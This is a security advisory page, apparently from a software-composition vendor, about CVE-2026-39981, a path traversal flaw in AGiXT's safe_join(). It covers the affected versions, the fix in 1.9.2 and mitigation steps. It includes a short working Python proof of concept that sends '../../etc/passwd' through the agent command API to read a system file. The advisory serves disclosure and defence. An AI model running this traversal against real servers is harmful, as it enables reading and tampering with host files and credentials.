CVE-2026-39981 is a high-severity (CVSS 8.8) Path Traversal vulnerability in agixt. A fix is available for agixt — see the affected versions and patch details below.
AGiXT has a Path Traversal in safe_join()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-39981.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-39981 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
agixtReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.
Details
agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)
# source
command_args = command.command_args
# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)
# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))
PoC
# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
import requests
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
headers = {"Authorization": f"Bearer {TOKEN}"}
payload = {
"command_name": "read_file",
"command_args": {
"filename": "../../etc/passwd"
}
}
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
Impact
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | agixt | all versions | 1.9.2pip install --upgrade 'agixt==1.9.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for agixt, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update agixt to 1.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39981 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-39981 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-39981. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-39981 in your dependencies?
O3 Security finds CVE-2026-39981 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.